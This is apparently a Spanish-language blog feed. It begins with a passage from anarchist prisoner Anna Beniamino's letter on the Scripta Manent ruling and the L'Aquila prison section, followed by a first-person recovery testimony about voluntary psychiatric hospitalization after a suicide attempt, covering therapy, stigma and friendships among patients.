«… en una sección situada bajo tierra, sin ventanas, por lo tanto sin aire ni luz natural…espacios reducidos y dispuestos verticalmente de modo que la vista queda privada de cualquier horizonte… Esta estructura genera una sensación de opresión, de claustrofobia, de tortura sicológica…»[5] La misma sentencia del Tribunal Supremo de julio de 2022, tras años y años de juicio, liquida la asociación con unas pocas líneas que ni siquiera intentan justificar un esquema que pasa a mantenerse por si mismo, por el cual Alfredo, Nicola y yo seríamos «asociados de larga trayectoria que han ocupado altos cargos en la FAI», sin explicar en ningún sitio en qué se basa esta afirmación axiomática. Admitiendo manifiestamente las «problemáticas inmanentes» para «identificar, a partir de pruebas que han adoptado las morfologías más dispares, en los diferentes coeficientes de intensidad circunstancial escrutados, una célula subversiva estructurada en torno a tres núcleos subjetivos, fijados por objetivos comunes, recursos comunes, ideales comunes, métodos replicados, conocimientos compartidos, solidaridades manifestadas […]». Dicho en términos más toscos: son una célula subversiva porque son anarquistas que se conocen desde hace mucho tiempo. Y punto. La idea anarquista es el pegamento, la sustancia de la asociación.
[* ndt2] Condiciones de detención a las que estaban sometidas las compañeras:
– celdas individuales en la antigua sección del 41 bis femenino en la prisión de L’Aquila, con la ventanilla cerrada
– Cada día eran despertadas a las 7 de la mañana, a las 8 pasaban los carceleros a comprobar los barrotes, dos horas de patio por la mañana y dos por la tarde (solas)
– Todas las entradas y salidas de la celda controladas con detector de metales (las compañeras eran escaneadas doce veces al día), además de un registro completo diario.
– Solo una hora de socialización al día en una pequeño habitáculo.
– Control estricto de las pertenencias. Armario fuera de la celda con un máximo de 7 prendas, tres libros como máximo, control exhaustivo y recuento de las pertenencias cada vez que sacan o meten algo de la celda.
– Sin radio, y sin posibilidad de ver la hora en la televisión, por lo saber la hora era prácticamente imposible.
– Las carceleras eran del cuerpo del GOM, mujeres embrutecidas del cuerpo de la policía penitenciaria. En poco más de una semana recibieron nueve expedientes disciplinarios. Para hacerse una idea, uno por apoyar un pie en el cuartucho de socialización y otra por salir con un bolígrafo al patio.[6] Estas son las palabras con las que comenzó la huelga en mayo de 2019:
«Llevamos casi dos meses encerradas en la sección femenina AS2 de L’Aquila, a estas alturas son bien conocidas, aquí y fuera, las condiciones de detención derivadas de un reglamento que huele a 41bis suavizado.
Estamos convencidas de que no se puede ni se podrá exigir ninguna mejora, no sólo por cuestiones objetivas y estructurales de la sección amarilla (ex-41bis): toda la cárcel está destinada casi exclusivamente al régimen 41bis, por lo que ampliar un poco las mallas del reglamento de la sección nos parece de mal gusto e impracticable, dadas las condiciones aún más pesadas que se sufren a pocos pasos de aquí, no podemos dejar de pensar en cuántos y cuántas llevan años luchando acumulando informes y procesos penales. A esto hay que añadir el torpe intento del DAP de salir del paso creando una sección mixta anarcoislámica, lo que ha provocado una nueva prohibición de reunirse en la propia sección, con un aislamiento que continúa.
Hay condiciones carcelarias, comunes o especiales, aún peores que las de L’Aquila. Esta no es una buena razón para no oponerse a lo que imponen aquí.
No comeremos más de este pan: el 29 de mayo iniciaremos una huelga de hambre exigiendo el traslado de esta cárcel y el cierre de esta infame sección. Silvia y Anna».https://lucharcontrael41bis.noblogs.org/2024/04/22/anna-beniamino-el-carrusel-de-la-represion/
#AnnaBeniamino #cartas #regímenesDiferenciados #ScriptaManent #textos
-
«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
⏱️ Tiempo estimado de lectura: 28 minutos y 39 segundos.
Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
#acompañamiento #depresión #desconexiónDigital #empatía #experienciaPersonal #hospitalPsiquiátrico #InteligenciaArtificial #intentoDeSuicidio #internaciónPsiquiátrica #neurodivergencia #prevenciónDelSuicidio #redesSociales #SaludMental #saludMentalEnArgentina #suicidio #TDAH #terapia #Testimonio #tratamientoIntegral #vínculosHumanos - Introducción
-
«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
⏱️ Tiempo estimado de lectura: 28 minutos y 39 segundos.
Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
